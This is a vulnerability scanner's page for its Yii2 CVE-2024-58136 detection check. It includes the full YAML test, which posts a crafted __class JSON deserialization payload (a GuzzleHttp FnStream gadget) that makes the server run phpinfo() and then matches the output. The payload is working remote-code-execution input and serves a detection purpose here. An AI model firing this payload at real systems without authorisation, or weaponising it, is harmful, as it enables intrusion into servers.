Yii2 — 1 vulnerability check

noctis ships 1 vulnerability check for Yii2, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Yii2 PHP Framework Unauthenticated RCE via __class JSON Deserialization

CVECVE-2024-58136
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/yii2/CVE-2024-58136.yaml

Fingerprints Yii2, posts a JSON body with a crafted __class and reports when the response contains phpinfo() output, the unauthenticated deserialization RCE.

How noctis detects it

  1. HTTP(S) request GET /
  2. HTTP(S) request POST /index.php with a crafted body
  3. Checks rce_resp.body for PHP Version → finding QoD 75: Yii2 CVE-2024-58136 phpinfo() RCE confirmed — PHP Version present in response: …
Feed source — tests/vulnerabilities/yii2/CVE-2024-58136.yaml
uid: edd88e7e-49e3-4846-8c2e-8b1cccc8dc66
name: "Yii2 PHP Framework Unauthenticated RCE via __class JSON Deserialization"
description: "Fingerprints Yii2, posts a JSON body with a crafted __class and reports when the response contains phpinfo() output, the unauthenticated deserialization RCE."
cves: [CVE-2024-58136]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [rce, deserialization, php, yii2, kev]
services: [http, https]
author: noctis
version: "1.0.0"

steps:
  - id: init
    action: set_var
    var_name: yii_ok
    var_value: false

  - id: fingerprint
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    store_as: fp_resp

  - id: set-yii-ok
    action: set_var
    var_name: yii_ok
    var_value: true
    condition: "fp_resp.status == 200"

  - id: rce-probe
    action: http_request
    method: POST
    path: "/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
    body: '{"as hack": {"__class": "GuzzleHttp\\Psr7\\FnStream", "class": "yii\\behaviors\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}'
    store_as: rce_resp
    condition: "yii_ok == true"

  - id: rce-match
    action: match
    source: rce_resp.body
    pattern: "PHP Version"
    condition: "yii_ok == true && rce_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Yii2 CVE-2024-58136 phpinfo() RCE confirmed — PHP Version present in response: {{rce_resp.body}}"
      stop: true

View these feeds on GitHub